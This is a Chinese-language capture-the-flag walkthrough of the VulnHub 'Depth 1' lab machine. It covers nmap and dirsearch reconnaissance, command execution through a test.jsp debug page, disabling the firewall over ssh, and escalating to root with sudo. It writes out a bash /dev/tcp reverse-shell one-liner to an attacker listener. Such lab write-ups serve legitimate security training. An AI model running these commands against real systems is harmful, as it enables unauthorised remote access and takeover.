信息收集:
靶机地址:https://www.vulnhub.com/entry/depth-1,213/
(1)ip扫描
nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:83:A9:58'
![](https://img-blog.csdnimg.cn/img_convert/1f8ec788cebbeb8afbb8e1e88c6f61b5.png)
(2)端口扫描
nmap -p- -A 192.168.254.137
![](https://img-blog.csdnimg.cn/img_convert/bf63a76a3c5f88ff14ca0e96eeb21458.png)
(3)目录扫描发现没东西
dirsearch -u http://192.168.254.137
![](https://img-blog.csdnimg.cn/img_convert/256e96d5cfde93a038ef81c7b6677251.png)
(4)访问8080端口
![](https://img-blog.csdnimg.cn/img_convert/e7c6844fb66d1f5b377fe288e538a6dd.png)
(5)点击 manager webapp 会跳转一个登录框
![](https://img-blog.csdnimg.cn/img_convert/22dfd67e8c44c8622b464eaec63071d2.png)
(6)尝试了一下弱口令,爆破等,没有登录进去,目录扫描8080端口看看
dirsearch -u http://192.168.254.137:8080
![](https://img-blog.csdnimg.cn/img_convert/2c7646b00f11839e40e0a5c294513ef0.png)
![](https://img-blog.csdnimg.cn/img_convert/9abd663548a012e11e2bd5ad336a0da4.png)
(7)访问test.jsp,是一个debug页面
![](https://img-blog.csdnimg.cn/img_convert/7b9ea89121f0579432136b26916c6e0b.png)
(8)输入ls -la /home,发现root 和bill用户
![](https://img-blog.csdnimg.cn/img_convert/6e7c3ed4e2cdac9108bd1cfb37711e56.png)
(9)可以执行命令,但是尝试反弹shell失败,看一下进程,发现有ssh,之前没有扫到,可能是因为防火墙
ps aux
![](https://img-blog.csdnimg.cn/img_convert/09bed32e71539ceeff0466525025894c.png)
(10)查看/etc下,防火墙是存在的
ls -la /etc
![](https://img-blog.csdnimg.cn/img_convert/97d09703a068fae2ee999152669acbc3.png)
(11)尝试关闭
ssh bill@localhost sudo ufw disable
![](https://img-blog.csdnimg.cn/img_convert/df18ee239f6dd3617dee127fb3c93a8f.png)
getshell:
(1)再次尝试反弹shell,kali开启监听
nc -lvnp 4444
![](https://img-blog.csdnimg.cn/img_convert/140813602ee80c2a1a52c634785d346e.png)
(2)执行命令,成功反弹shell
ssh bill@localhost bash -i >& /dev/tcp/192.168.254.129/4444 0>&1
![](https://img-blog.csdnimg.cn/img_convert/e6b75da5f735fcad19adcddd4879673b.png)
![](https://img-blog.csdnimg.cn/img_convert/c5d67db95ab0d05515e68af7049a4fb5.png)
提权:
(1)sudo -l,查看当前权限,显示all
![](https://img-blog.csdnimg.cn/img_convert/ed2a8880f5c3b577a079f9c3e980295a.png)
(2)sudo su 提权成功
![](https://img-blog.csdnimg.cn/img_convert/532ba96d7ef626ffabd315429fcd9463.png)